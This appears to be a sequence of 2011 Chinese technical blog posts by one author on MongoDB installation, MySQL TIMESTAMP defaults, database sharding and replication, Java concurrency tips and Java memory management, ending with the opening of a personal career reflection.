  *支持RUBY,PYTHON,JAVA,C++,PHP等多种语言。
  *文件存储格式为BSON(一种JSON的扩展)
  *可通过网络访问

  所谓“面向集合”(Collenction-Oriented),意思是数据被分组存储在数据集中,被称为一个集合(Collenction)。每个集合在数据库中都有一个唯一的标识名,并且可以包含无限数目的文档。集合的概念类似关系型数据库(RDBMS)里的表(table),不同的是它不需要定义任何模式(schema)。
  模式自由(schema-free),意味着对于存储在mongodb数据库中的文件,我们不需要知道它的任何结构定义。如果需要的话,你完全可以把不同结构的文件存储在同一个数据库里。
  存储在集合中的文档,被存储为键-值对的形式。键用于唯一标识一个文档,为字符串类型,而值则可以是各种复杂的文件类型。我们称这种存储形式为BSON(Binary Serialized dOcument Format)。

2.下载MongoDB

  下载地址http://www.mongodb.org/downloads 至本文成文之时,版本号为:1.8.1

   http://downloads.mongodb.org/win32/mongodb-win32-i386-1.8.1.zip

3.安装

  将zip文件解压至某个磁盘目录,如:G:\database\mongodb

4.配置

  建立数据存储目录G:\database\mongodb\data

  启动命令窗口,进到目录G:\>cd database\mongodb\bin

  执行命令mongod --dbpath G:\database\mongodb\data,出现如下信息:

G:\database\mongodb\bin>mongod --dbpath G:\database\mongodb\data
Wed May 25 20:03:06 [initandlisten] MongoDB starting : pid=3244 port=27017 dbpath=G:\database\mongodb\data 32-bit

** NOTE: when using MongoDB 32 bit, you are limited to about 2 gigabytes of data

**       seehttp://blog.mongodb.org/post/137788967/32-bit-limitations
**       with --dur, the limit is lower

Wed May 25 20:03:06 [initandlisten] db version v1.8.1, pdfile version 4.5
Wed May 25 20:03:06 [initandlisten] git version: a429cd4f535b2499cc4130b06ff7c26f41c00f04
Wed May 25 20:03:06 [initandlisten] build sys info: windows (5, 1, 2600, 2, 'Service Pack 3') BOOST_LIB_VERSION=1_35
Wed May 25 20:03:06 [initandlisten] waiting for connections on port 27017
Wed May 25 20:03:06 [websvr] web admin interface listening on port 28017

5.查看管理后台

  打开浏览器,登入地址:http://localhost:28017
  出现如下内容:


关键词:HelloWorld   MongoDB   NoSQL   JAVA    程序   软件   数据库   程序员

 

posted @ 2011-05-25 20:20 jadmin 阅读(104) | 评论 (0)编辑 收藏

       由于MySQL目前字段的默认值不支持函数的形式设置默认值是不可能的。
       代替的方案是使用TIMESTAMP类型代替DATETIME类型。
       CURRENT_TIMESTAMP :当我更新这条记录的时候,这条记录的这个字段不会改变。
       CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP :当我更新这条记录的时候,这条记录的这个字段将会改变。即时间变为了更新时候的时间。(注意一个UPDATE设置一个列为它已经有的值,这将不引起TIMESTAMP列被更新,因为如果你设置一个列为它当前的值,MySQL为了效率而忽略更改。)如果有多个TIMESTAMP列,只有第一个自动更新。 
      TIMESTAMP列类型自动地用当前的日期和时间标记INSERT或UPDATE的操作。 
      如果有多个TIMESTAMP列,只有第一个自动更新。 
      自动更新第一个TIMESTAMP列在下列任何条件下发生: 
      列值没有明确地在一个INSERT或LOAD DATA INFILE语句中指定。 
      列值没有明确地在一个UPDATE语句中指定且另外一些的列改变值。(注意一个UPDATE设置一个列为它已经有的值,这将不引起TIMESTAMP列被更新,因为如果你设置一个列为它当前的值,MySQL为了效率而忽略更改。) 
      你明确地设定TIMESTAMP列为NULL. 
      除第一个以外的TIMESTAMP列也可以设置到当前的日期和时间,只要将列设为NULL,或NOW()。 
      另外在5.0以上版本中也可以使用trigger来实现此功能。

      create table test_time ( 
      id int(11), 
      create_time datetime 
      ); 
      delimiter | 
            create trigger default_datetime before insert on test_time 
      for each row 
            if new.create_time is null then 
            set new.create_time = now(); 
      end if;| 
      delimiter ;

posted @ 2011-05-23 11:57 jadmin 阅读(86) | 评论 (0)编辑 收藏

单库单表

         单库单表是最常见的数据库设计,例如,有一张用户(user)表放在数据库db中,所有的用户都可以在db库中的user表中查到。

 

单库多表

随着用户数量的增加,user表的数据量会越来越大,当数据量达到一定程度的时候对user表的查询会渐渐的变慢,从而影响整个DB的性能。如果使用mysql, 还有一个更严重的问题是,当需要添加一列的时候,mysql会锁表,期间所有的读写操作只能等待。

可以通过某种方式将user进行水平的切分,产生两个表结构完全一样的user_0000,user_0001等表,user_0000 + user_0001 + …的数据刚好是一份完整的数据。

 

多库多表

         随着数据量增加也许单台DB的存储空间不够,随着查询量的增加单台数据库服务器已经没办法支撑。这个时候可以再对数据库进行水平区分。

 

分库分表规则

         设计表的时候需要确定此表按照什么样的规则进行分库分表。例如,当有新用户时,程序得确定将此用户信息添加到哪个表中;同理,当登录的时候我们得通过用户的账号找到数据库中对应的记录,所有的这些都需要按照某一规则进行。

路由

         通过分库分表规则查找到对应的表和库的过程。如分库分表的规则是user_id mod 4的方式,当用户新注册了一个账号,账号id123,我们可以通过id mod 4的方式确定此账号应该保存到User_0003表中。当用户123登录的时候,我们通过123 mod 4后确定记录在User_0003中。

分库分表产生的问题,及注意事项

1.   分库分表维度的问题

假如用户购买了商品,需要将交易记录保存取来,如果按照用户的纬度分表,则每个用户的交易记录都保存在同一表中,所以很快很方便的查找到某用户的购买情况,但是某商品被购买的情况则很有可能分布在多张表中,查找起来比较麻烦。反之,按照商品维度分表,可以很方便的查找到此商品的购买情况,但要查找到买人的交易记录比较麻烦。

 

所以常见的解决方式有:

     a.通过扫表的方式解决,此方法基本不可能,效率太低了。

     b.记录两份数据,一份按照用户纬度分表,一份按照商品维度分表。

     c.通过搜索引擎解决,但如果实时性要求很高,又得关系到实时搜索。

 

2.   联合查询的问题

联合查询基本不可能,因为关联的表有可能不在同一数据库中。

 

3.   避免跨库事务

避免在一个事务中修改db0中的表的时候同时修改db1中的表,一个是操作起来更复杂,效率也会有一定影响。

 

4.   尽量把同一组数据放到同一DB服务器上

例如将卖家a的商品和交易信息都放到db0中,当db1挂了的时候,卖家a相关的东西可以正常使用。也就是说避免数据库中的数据依赖另一数据库中的数据。

 

 

一主多备

         在实际的应用中,绝大部分情况都是读远大于写。Mysql提供了读写分离的机制,所有的写操作都必须对应到Master,读操作可以在MasterSlave机器上进行,SlaveMaster的结构完全一样,一个Master可以有多个Slave,甚至Slave下还可以挂Slave,通过此方式可以有效的提高DB集群的QPS.                                                       

  所有的写操作都是先在Master上操作,然后同步更新到Slave上,所以从Master同步到Slave机器有一定的延迟,当系统很繁忙的时候,延迟问题会更加严重,Slave机器数量的增加也会使这个问题更加严重。

  此外,可以看出Master是集群的瓶颈,当写操作过多,会严重影响到Master的稳定性,如果Master挂掉,整个集群都将不能正常工作。

  所以,1. 当读压力很大的时候,可以考虑添加Slave机器的分式解决,但是当Slave机器达到一定的数量就得考虑分库了。 2. 当写压力很大的时候,就必须得进行分库操作。

 

         另外,可能会因为种种原因,集群中的数据库硬件配置等会不一样,某些性能高,某些性能低,这个时候可以通过程序控制每台机器读写的比重,达到负载均衡。

posted @ 2011-05-19 16:52 jadmin 阅读(116) | 评论 (0)编辑 收藏

1,保证线程安全的三种方法:
    a,不要跨线程访问共享变量

    b,使共享变量是
final类型的
    c,将共享变量的操作加上同步


2,一开始就将类设计成线程安全的
,比在后期重新修复它,更容易.

3,编写多线程程序
,首先保证它是正确的,其次再考虑性能
.

4,无状态或只读对象永远是线程安全的
.

5,不要将一个共享变量裸露在多线程环境下
(无同步或不可变性保护
)

6,多线程环境下的延迟加载需要同步的保护
,因为延迟加载会造成对象重复实例化


7,对于
volatile 声明的数值类型变量进行运算,往往是不安全的(volatile 只能保证可见性, 不能保证原子性).
详见
volatile 原理与技巧中,脏数据问题讨论
.

8,当一个线程请求获得它自己占有的锁时
( 同一把锁的嵌套使用),我们称该锁为可重入锁.
jdk1.5 并发包中,提供了可重入锁的java 实现
-ReentrantLock.

9,每个共享变量
, 都应该由一个唯一确定的锁保护.
创建与变量相同数目的
ReentrantLock,使他们负责每个变量的线程安全
.

10,虽然缩小同步块的范围
,可以提升系统性能.
但在保证原子性的情况下
,不可将原子操作分解成多个synchronized
.

11,在没有同步的情况下
,编译器与处理器运行时的指令执行顺序可能完全出乎意料
.
原因是
,编译器或处理器为了优化自身执行效率,而对指令进行了的重排序
(reordering).

12,当一个线程在没有同步的情况下读取变量
,它可能会得到一个过期值,但是至少它可以看到那个

线程在当时设定的一个真实数值
.而不是凭空而来的值.这种安全保证,称之为最低限的安全性(out-of-thin-air safety)

在开发并发应用程序时
,有时为了大幅度提高系统的吞吐量与性能,会采用这种无保障的做法
.
但是针对
,数值的运算,仍旧是被否决的
.

13,volatile 变量
, 只能保证可见性,无法保证原子性
.

14,某些耗时较长的网络操作或IO,确保执行时,不要占有锁.

15,发布(publish) 对象,指的是使它能够被当前范围之外的代码所使用.( 引用传递
)
对象逸出(escape),指的是一个对象在尚未准备好时将它发布.

原则:为防止逸出,对象必须要被完全构造完后,才可以被发布( 最好的解决方式是采用同步
)

this
关键字引用对象逸出

例子:在构造函数中,开启线程,并将自身对象this 传入线程,造成引用传递.
而此时,构造函数尚未执行完,就会发生对象逸出了
.

16,必要时,使用ThreadLocal变量确保线程封闭性(封闭线程往往是比较安全的,但一定程度上会造成性能损耗)
封闭对象的例子在实际使用过程中,比较常见,例如hibernate openSessionInView机制, jdbcconnection机制.

17,单一不可变对象往往是线程安全的(复杂不可变对象需要保证其内部成员变量也是不可变的)
良好的多线程编程习惯是:将所有的域都声明为final,除非它们是可变的

18,保证共享变量的发布是安全的

    a,
通过静态初始化器初始化对象(jls 12.4.2 叙述, jvm 会保证静态初始化变量是同步的)
    b,
将对象申明为volatile 或使用
AtomicReference
    c,
保证对象是不可变的

    d,
将引用或可变操作都由锁来保护

19,设计线程安全的类,应该包括的基本要素:
    a,确定哪些是可变共享变量
    b,确定哪些是不可变的变量
    c,指定一个管理并发访问对象状态的策略

20,将数据封装在对象内部,并保证对数据的访问是原子的
.
建议采用volatile javabean 模型或者构造同步的getter,setter.

21,线程限制性使构造线程安全的类变得更容易,因为类的状态被限制后,分析它的线程安全性时,就不必检查完整的程序.

22,
编写并发程序,需要更全的注释,更完整的文档说明.

23,在需要细分锁的分配时,使用java监视器模式好于使用自身对象的监视器锁.
前者的灵活性更好.

Object target = new Object();
//这里使用外部对象来作为监视器,而非this
synchronized(target) {
    // TODO
}

针对java monitor pattern,实际上ReentrantLock的实现更易于并发编程.
功能上,也更强大.

24,设计并发程序时,在保证伸缩性与性能折中的前提下,优先考虑将共享变量委托给线程安全的类
.
由它来控制全局的并发访问
.

25,使用普通同步容器(Vector, Hashtable) 的迭代器,需要外部锁来保证其原子性
.
原因是,普通同步容器产生的迭代器是非线程安全的
.

26,在并发编程中,需要容器支持的时候,优先考虑使用jdk 并发容器

(ConcurrentHashMap, ConcurrentLinkedQueue, CopyOnWriteArrayList...).


27, ConcurrentHashMap, CopyOnWriteArrayList

并发容器的迭代器, 以及全范围的size(), isEmpty()都表现出弱一致性
.
他们只能标示容器当时的一个数据状态.无法完整响应容器之后的变化和修改
.

28,
使用有界队列,在队列充满或为空时,阻塞所有的读与写操作. ( 实现生产- 消费的良好方案)

BlockQueue
下的实现有LinkedBlockingQueue ArrayBlockingQueue,前者为链表,可变操作频繁优先考虑, 后者为数组,读取操作频繁优先考虑.
PriorityBlockingQueue
是一个按优先级顺序排列的阻塞队列,它可以对所有置入的元素进行排序( 实现Comparator 接口
)

29,
当一个方法,能抛出InterruptedException,则意味着,这个方法是一个可阻塞的方法,如果它被中断,将提前结束阻塞状态
.
当你调用一个阻塞方法,也就意味着,本身也称为了一个阻塞方法,因为你必须等待阻塞方法返回
.

如果阻塞方法抛出了中断异常,我们需要做的是,将其往上层抛,除非当前已经是需要捕获异常的层次
.
如果当前方法,不能抛出InterruptedException,可以使用Thread.currentThread.interrupt() 方法,手动进行中断.

 

posted @ 2011-05-18 22:53 jadmin 阅读(153) | 评论 (0)编辑 收藏

1. java是如何管理内存的

 Java的内存管理就是对象的分配和释放问题。(两部分)

分配 :内存的分配是由程序完成的,程序员需要通过关键字new 为每个对象申请内存空间 (基本类型除外),所有的对象都在堆 (Heap)中分配空间。
释放 :对象的释放是由垃圾回收机制决定和执行的,这样做确实简化了程序员的工作。但同时,它也加重了JVM的工作。因为,GC为了能够正确释放对象,GC必须监控每一个对象的运行状态,包括对象的申请、引用、被引用、赋值等,GC都需要进行监控。

2. 什么叫java的内存泄露

     在Java中,内存泄漏就是存在一些被分配的对象,这些对象有下面两个特点,首先,这些对象是可达的,即在有向图中,存在通路可以与其相连(也就是说仍存在该内存对象的引用);其次,这些对象是无用的,即程序以后不会再使用这些对象。如果对象满足这两个条件,这些对象就可以判定为Java中的内存泄漏,这些对象不会被GC所回收,然而它却占用内存。

3. JVM的内存区域组成

java把内存分两种:一种是栈内存,另一种是堆内存1。在函数中定义的基本类型变量和对象的引用变量都在函数的栈内存中分配;2。堆内存用来存放由new创建的对象和数组以及对象的实例变量 在函数(代码块)中定义一个变量时,java就在栈中为这个变量分配内存空间,当超过变量的作用域后,java会自动释放掉为该变量所分配的内存空间;在堆中分配的内存由java虚拟机的自动垃圾回收器来管理
堆和栈的优缺点   

 堆的优势是可以动态分配内存大小,生存期也不必事先告诉编译器,因为它是在运行时动态分配内存的。

缺点就是要在运行时动态分配内存,存取速度较慢; 栈的优势是,存取速度比堆要快,仅次于直接位于CPU中的寄存器。

另外,栈数据可以共享。但缺点是,存在栈中的数据大小与生存期必须是确定的,缺乏灵活性。

4. Java中数据在内存中是如何存储的

a) 基本数据类型

   Java的基本数据类型共有8种,即int, short, long, byte, float, double, boolean, char(注意,并没有string的基本类型)。这种类型的定义是通过诸如int a = 3; long b = 255L;的形式来定义的。如int a = 3;这里的a是一个指向int类型的引用,指向3这个字面值。这些字面值的数据,由于大小可知,生存期可知(这些字面值定义在某个程序块里面,程序块退出后,字段值就消失了),出于追求速度的原因,就存在于栈中。
另外,栈有一个很重要的特殊性,就是存在栈中的数据可以共享。比如:我们同时定义:
int a=3;
int b =3;
    编译器先处理int a = 3;首先它会在栈中创建一个变量为a的引用,然后查找有没有字面值为3的地址,没找到,就开辟一个存放3这个字面值的地址,然后将a指向3的地址。接着处理int b = 3;在创建完b这个引用变量后,由于在栈中已经有3这个字面值,便将b直接指向3的地址。这样,就出现了a与b同时均指向3的情况。    定义完a与b的值后,再令a = 4;那么,b不会等于4,还是等于3。在编译器内部,遇到时,它就会重新搜索栈中是否有4的字面值,如果没有,重新开辟地址存放4的值;如果已经有了,则直接将a指向这个地址。因此a值的改变不会影响到b的值。

b)    对象

在Java中,创建一个对象包括对象的声明和实例化两步,下面用一个例题来说明对象的内存模型。  假设有类Rectangle定义如下:
public class Rectangle {
double width;
double height;
public Rectangle(double w,double h){
w = width;
h = height;
}
}
(1)声明对象时的内存模型
 用Rectangle rect;声明一个对象rect时,将在栈内存为对象的引用变量rect分配内存空间,但Rectangle的值为空,称rect是一个空对象。空对象不能使用,因为它还没有引用任何"实体"。
(2)对象实例化时的内存模型
 当执行rect=new Rectangle(3,5);时,会做两件事: 在堆内存中为类的成员变量width,height分配内存,并将其初始化为各数据类型的默认值;接着进行显式初始化(类定义时的初始化值);最后调用构造方法,为成员变量赋值。  返回堆内存中对象的引用(相当于首地址)给引用变量rect,以后就可以通过rect来引用堆内存中的对象了。

c)    创建多个不同的对象实例

        一个类通过使用new运算符可以创建多个不同的对象实例,这些对象实例将在堆中被分配不同的内存空间,改变其中一个对象的状态不会影响其他对象的状态。例如:
Rectangle r1= new Rectangle(3,5);
Rectangle r2= new Rectangle(4,6);
 此时,将在堆内存中分别为两个对象的成员变量width、height分配内存空间,两个对象在堆内存中占据的空间是互不相同的。如果有:
Rectangle r1= new Rectangle(3,5);
Rectangle r2=r1;
则在堆内存中只创建了一个对象实例,在栈内存中创建了两个对象引用,两个对象引用同时指向一个对象实例。
 

d)    包装类

         基本型别都有对应的包装类:如int对应Integer类,double对应Double类等,基本类型的定义都是直接在栈中,如果用包装类来创建对象,就和普通对象一样了。例如:int i=0;i直接存储在栈中。  Integer i(i此时是对象) = new Integer(5);这样,i对象数据存储在堆中,i的引用存储在栈中,通过栈中的引用来操作对象。
 

e)    String

  String是一个特殊的包装类数据。可以用用以下两种方式创建:String str = new String("abc");String str = "abc";
第一种创建方式,和普通对象的的创建过程一样;
第二种创建方式,Java内部将此语句转化为以下几个步骤:
(1) 先定义一个名为str的对String类的对象引用变量:String str;
(2) 在栈中查找有没有存放值为"abc"的地址,如果没有,则开辟一个存放字面值为"abc"
地址,接着创建一个新的String类的对象o,并将o的字符串值指向这个地址,而且在栈
这个地址旁边记下这个引用的对象o。如果已经有了值为"abc"的地址,则查找对象o,并
回o的地址。
(3) 将str指向对象o的地址。
值得注意的是,一般String类中字符串值都是直接存值的。但像String str = "abc";这种
合下,其字符串值却是保存了一个指向存在栈中数据的引用。
为了更好地说明这个问题,我们可以通过以下的几个代码进行验证。
String str1="abc";
String str2="abc";
System.out.println(s1==s2);//true
注意,这里并不用str1.equals(str2);的方式,因为这将比较两个字符串的值是否相等。==号,根据JDK的说明,只有在两个引用都指向了同一个对象时才返回真值。而我们在这里要看的是,str1与str2是否都指向了同一个对象。
我们再接着看以下的代码。
String str1= new String("abc");
String str2="abc";
System.out.println(str1==str2);//false
创建了两个引用。创建了两个对象。两个引用分别指向不同的两个对象。     以上两段代码说明,只要是用new()来新建对象的,都会在堆中创建,而且其字符串是单独存值的,即使与栈中的数据相同,也不会与栈中的数据共享。

f)    数组

         当定义一个数组,int x[];或int []x;时,在栈内存中创建一个数组引用,通过该引用(即数组名)来引用数组。x=new int[3];将在堆内存中分配3个保存int型数据的空间,堆内存的首地址放到栈内存中,每个数组元素被初始化为0。
 

g)    静态变量

         用static的修饰的变量和方法,实际上是指定了这些变量和方法在内存中的"固定位置"-static storage,可以理解为所有实例对象共有的内存空间。static变量有点类似于C中的全局变量的概念;静态表示的是内存的共享,就是它的每一个实例都指向同一个内存地址。把static拿来,就是告诉JVM它是静态的,它的引用(含间接引用)都是指向同一个位置,在那个地方,你把它改了,它就不会变成原样,你把它清理了,它就不会回来了。         那静态变量与方法是在什么时候初始化的呢?对于两种不同的类属性,static属性与instance属性,初始化的时机是不同的。instance属性在创建实例的时候初始化,static属性在类加载,也就是第一次用到这个类的时候初始化,对于后来的实例的创建,不再次进行初始化。         我们常可看到类似以下的例子来说明这个问题:
class Student{
static int numberOfStudents=0;
Student()
{
numberOfStudents++;
}
}
每一次创建一个新的Student实例时,成员numberOfStudents都会不断的递增,并且所有的Student实例都访问同一个numberOfStudents变量,实际上int numberOfStudents变量在内存中只存储在一个位置上。

5. Java的内存管理实例

  Java程序的多个部分(方法,变量,对象)驻留在内存中以下两个位置:即堆和栈,现在我们只关心3类事物:实例变量,局部变量和对象:
实例变量和对象驻留在堆上
局部变量驻留在栈上
       让我们查看一个java程序,看看他的各部分如何创建并且映射到栈和堆中:
public class Dog {
Collar c;
String name;
//1. main()方法位于栈上
public static void main(String[] args) {
//2. 在栈上创建引用变量d,但Dog对象尚未存在
Dog d;
//3. 创建新的Dog对象,并将其赋予d引用变量
d = new Dog();
//4. 将引用变量的一个副本传递给go()方法
d.go(d);
}
//5. 将go()方法置于栈上,并将dog参数作为局部变量
void go(Dog dog){
//6. 在堆上创建新的Collar对象,并将其赋予Dog的实例变量
c =new Collar();
}
//7.将setName()添加到栈上,并将dogName参数作为其局部变量
void setName(String dogName){
//8. name的实例对象也引用String对象
name=dogName;
}
//9. 程序执行完成后,setName()将会完成并从栈中清除,此时,局部变量dogName也会消失,尽管它所引用的String仍在堆上
}

6. 垃圾回收机制:

(问题一:什么叫垃圾回收机制?) 垃圾回收是一种动态存储管理技术,它自动地释放不再被程序引用的对象,按照特定的垃圾收集算法来实现资源自动回收的功能。当一个对象不再被引用的时候,内存回收它占领的空间,以便空间被后来的新对象使用,以免造成内存泄露。 (问题二:java的垃圾回收有什么特点?) JAVA语言不允许程序员直接控制内存空间的使用。内存空间的分配和回收都是由JRE负责在后台自动进行的,尤其是无用内存空间的回收操作(garbagecollection,也称垃圾回收),只能由运行环境提供的一个超级线程进行监测和控制。 (问题三:垃圾回收器什么时候会运行?) 一般是在CPU空闲或空间不足时自动进行垃圾回收,而程序员无法精确控制垃圾回收的时机和顺序等。 (问题四:什么样的对象符合垃圾回收条件?) 当没有任何获得线程能访问一个对象时,该对象就符合垃圾回收条件。 (问题五:垃圾回收器是怎样工作的?) 垃圾回收器如发现一个对象不能被任何活线程访问时,他将认为该对象符合删除条件,就将其加入回收队列,但不是立即销毁对象,何时销毁并释放内存是无法预知的。垃圾回收不能强制执行,然而Java提供了一些方法(如:System.gc()方法),允许你请求JVM执行垃圾回收,而不是要求,虚拟机会尽其所能满足请求,但是不能保证JVM从内存中删除所有不用的对象。 (问题六:一个java程序能够耗尽内存吗?) 可以。垃圾收集系统尝试在对象不被使用时把他们从内存中删除。然而,如果保持太多活的对象,系统则可能会耗尽内存。垃圾回收器不能保证有足够的内存,只能保证可用内存尽可能的得到高效的管理。 (问题七:如何显示的使对象符合垃圾回收条件?) (1) 空引用 :当对象没有对他可到达引用时,他就符合垃圾回收的条件。也就是说如果没有对他的引用,删除对象的引用就可以达到目的,因此我们可以把引用变量设置为null,来符合垃圾回收的条件。
StringBuffer sb = new StringBuffer("hello");
System.out.println(sb);
sb=null;
(2) 重新为引用变量赋值:可以通过设置引用变量引用另一个对象来解除该引用变量与一个对象间的引用关系。
StringBuffer sb1 = new StringBuffer("hello");
StringBuffer sb2 = new StringBuffer("goodbye");
System.out.println(sb1);
sb1=sb2;//此时"hello"符合回收条件 
(3) 方法内创建的对象:所创建的局部变量仅在该方法的作用期间内存在。一旦该方法返回,在这个方法内创建的对象就符合垃圾收集条件。有一种明显的例外情况,就是方法的返回对象。
public static void main(String[] args) {
Date d = getDate();
System.out.println("d = " + d);
}
private static Date getDate() {
Date d2 = new Date();
StringBuffer now = new StringBuffer(d2.toString());
System.out.println(now);
return d2;
}
(4) 隔离引用:这种情况中,被回收的对象仍具有引用,这种情况称作隔离岛。若存在这两个实例,他们互相引用,并且这两个对象的所有其他引用都删除,其他任何线程无法访问这两个对象中的任意一个。也可以符合垃圾回收条件。
public class Island {
Island i;
public static void main(String[] args) {
Island i2 = new Island();
Island i3 = new Island();
Island i4 = new Island();
i2.i=i3;
i3.i=i4;
i4.i=i2;
i2=null;
i3=null;
i4=null;
}
}
(问题八:垃圾收集前进行清理------finalize()方法) java提供了一种机制,使你能够在对象刚要被垃圾回收之前运行一些代码。这段代码位于名为finalize()的方法内,所有类从Object类继承这个方法。由于不能保证垃圾回收器会删除某个对象。因此放在finalize()中的代码无法保证运行。因此建议不要重写finalize();
7.    final问题:
      final使得被修饰的变量"不变",但是由于对象型变量的本质是"引用",使得"不变"也有了两种含义:引用本身的不变?,和引用指向的对象不变。?         引用本身的不变:
final StringBuffer a=new StringBuffer("immutable");
final StringBuffer b=new StringBuffer("not immutable");
a=b;//编译期错误
final StringBuffer a=new StringBuffer("immutable");
final StringBuffer b=new StringBuffer("not immutable");
a=b;//编译期错误
引用指向的对象不变:
final StringBuffer a=new StringBuffer("immutable");
a.append(" broken!"); //编译通过
final StringBuffer a=new StringBuffer("immutable");
a.append(" broken!"); //编译通过
可见,final只对引用的"值"(也即它所指向的那个对象的内存地址)有效,它迫使引用只能指向初始指向的那个对象,改变它的指向会导致编译期错误。至于它所指向的对象的变化,final是不负责的。这很类似==操作符:==操作符只负责引用的"值"相等,至于这个地址所指向的对象内容是否相等,==操作符是不管的。在举一个例子:
public class Name {
private String firstname;
private String lastname;
public String getFirstname() {
return firstname;
}
public void setFirstname(String firstname) {
this.firstname = firstname;
}
public String getLastname() {
return lastname;
}
public void setLastname(String lastname) {
this.lastname = lastname;
}
}
 
public class Name {
private String firstname;
private String lastname;
public String getFirstname() {
return firstname;
}
public void setFirstname(String firstname) {
this.firstname = firstname;
}
public String getLastname() {
return lastname;
}
public void setLastname(String lastname) {
this.lastname = lastname;
}
}
 
         编写测试方法:
public static void main(String[] args) {
final Name name = new Name();
name.setFirstname("JIM");
name.setLastname("Green");
System.out.println(name.getFirstname()+" "+name.getLastname());
}
public static void main(String[] args) {
final Name name = new Name();
name.setFirstname("JIM");
name.setLastname("Green");
System.out.println(name.getFirstname()+" "+name.getLastname());
}
 
         理解final问题有很重要的含义。许多程序漏洞都基于此----final只能保证引用永远指向固定对象,不能保证那个对象的状态不变。在多线程的操作中,一个对象会被多个线程共享或修改,一个线程对对象无意识的修改可能会导致另一个使用此对象的线程崩溃。一个错误的解决方法就是在此对象新建的时候把它声明为final,意图使得它"永远不变"。其实那是徒劳的。         Final还有一个值得注意的地方:         先看以下示例程序:
class Something {
final int i;
public void doSomething() {
System.out.println("i = " + i);
}
}
class Something {
final int i;
public void doSomething() {
System.out.println("i = " + i);
}
}
         对于类变量,Java虚拟机会自动进行初始化。如果给出了初始值,则初始化为该初始值。如果没有给出,则把它初始化为该类型变量的默认初始值。但是对于用final修饰的类变量,虚拟机不会为其赋予初值,必须在constructor (构造器)结束之前被赋予一个明确的值。可以修改为"final int i = 0;"。
 
8.    如何把程序写得更健壮:
     1、尽早释放无用对象的引用。 好的办法是使用临时变量的时候,让引用变量在退出活动域后,自动设置为null,暗示垃圾收集器来收集该对象,防止发生内存泄露。对于仍然有指针指向的实例,jvm就不会回收该资源,因为垃圾回收会将值为null的对象作为垃圾,提高GC回收机制效率;
     2、定义字符串应该尽量使用 String str="hello"; 的形式 ,避免使用String str = new String("hello"); 的形式。因为要使用内容相同的字符串,不必每次都new一个String。例如我们要在构造器中对一个名叫s的String引用变量进行初始化,把它设置为初始值,应当这样做:
public class Demo {
private String s;
public Demo() {
s = "Initial Value";
}
}
 
public class Demo {
private String s;
...
public Demo {
s = "Initial Value";
}
...
}
 而非
s = new String("Initial Value"); 
s = new String("Initial Value");
     后者每次都会调用构造器,生成新对象,性能低下且内存开销大,并且没有意义,因为String对象不可改变,所以对于内容相同的字符串,只要一个String对象来表示就可以了。也就说,多次调用上面的构造器创建多个对象,他们的String类型属性s都指向同一个对象。   

3、我们的程序里不可避免大量使用字符串处理,避免使用String,应大量使用StringBuffer ,因为String被设计成不可变(immutable)类,所以它的所有对象都是不可变对象,请看下列代码;
String s = "Hello";  
s = s + " world!"; 
String s = "Hello";
s = s + " world!";
       在这段代码中,s原先指向一个String对象,内容是 "Hello",然后我们对s进行了+操作,那么s所指向的那个对象是否发生了改变呢?答案是没有。这时,s不指向原来那个对象了,而指向了另一个 String对象,内容为"Hello world!",原来那个对象还存在于内存之中,只是s这个引用变量不再指向它了。         通过上面的说明,我们很容易导出另一个结论,如果经常对字符串进行各种各样的修改,或者说,不可预见的修改,那么使用String来代表字符串的话会引起很大的内存开销。因为 String对象建立之后不能再改变,所以对于每一个不同的字符串,都需要一个String对象来表示。这时,应该考虑使用StringBuffer类,它允许修改,而不是每个不同的字符串都要生成一个新的对象。并且,这两种类的对象转换十分容易。
     4、尽量少用静态变量 ,因为静态变量是全局的,GC不会回收的;
     5、尽量避免在类的构造函数里创建、初始化大量的对象 ,防止在调用其自身类的构造器时造成不必要的内存资源浪费,尤其是大对象,JVM会突然需要大量内存,这时必然会触发GC优化系统内存环境;显示的声明数组空间,而且申请数量还极大。         以下是初始化不同类型的对象需要消耗的时间:

运算操作  
 示例   
 标准化时间
 
本地赋值   
 i = n
 1.0
 
实例赋值   
 this.i = n
 1.2
 
方法调用   
 Funct()
 5.9
 
新建对象   
 New Object()
 980
 
新建数组   
 New int[10]
 3100
 

       
从表1可以看出,新建一个对象需要980个单位的时间,是本地赋值时间的980倍,是方法调用时间的166倍,而新建一个数组所花费的时间就更多了。
     6、尽量在合适的场景下使用对象池技术 以提高系统性能,缩减缩减开销,但是要注意对象池的尺寸不宜过大,及时清除无效对象释放内存资源,综合考虑应用运行环境的内存资源限制,避免过高估计运行环境所提供内存资源的数量。
     7、大集合对象拥有大数据量的业务对象的时候,可以考虑分块进行处理 ,然后解决一块释放一块的策略。
     8、不要在经常调用的方法中创建对象 ,尤其是忌讳在循环中创建对象。可以适当的使用hashtable,vector 创建一组对象容器,然后从容器中去取那些对象,而不用每次new之后又丢弃。
     9、一般都是发生在开启大型文件或跟数据库一次拿了太多的数据,造成 Out Of Memory Error 的状况,这时就大概要计算一下数据量的最大值是多少,并且设定所需最小及最大的内存空间值。
     10、尽量少用finalize函数 ,因为finalize()会加大GC的工作量,而GC相当于耗费系统的计算能力。
    11、不要过滥使用哈希表 ,有一定开发经验的开发人员经常会使用hash表(hash表在JDK中的一个实现就是HashMap)来缓存一些数据,从而提高系统的运行速度。比如使用HashMap缓存一些物料信息、人员信息等基础资料,这在提高系统速度的同时也加大了系统的内存占用,特别是当缓存的资料比较多的时候。其实我们可以使用操作系统中的缓存的概念来解决这个问题,也就是给被缓存的分配一个一定大小的缓存容器,按照一定的算法淘汰不需要继续缓存的对象,这样一方面会因为进行了对象缓存而提高了系统的运行效率,同时由于缓存容器不是无限制扩大,从而也减少了系统的内存占用。现在有很多开源的缓存实现项目,比如ehcache、oscache等,这些项目都实现了FIFO、MRU等常见的缓存算法

 

关键词:JAVA   内存   转帖

posted @ 2011-05-18 20:58 jadmin 阅读(100) | 评论 (0)编辑 收藏

        从开始编程到现在已经有10年的时间了,10年之间我做过很多的工作,当然都称不上卓越,我虚度光阴,过一天就算一天。在深圳呆了6个年头后,我才发现事情的严重性,作为一名软件开发工程师,我一事无成,我还没有一个身经百战的团队或team,没有一个能拿的出手,又有知名度的软件产品,经常与印度程序员交流,却连国门都没有迈出去过。

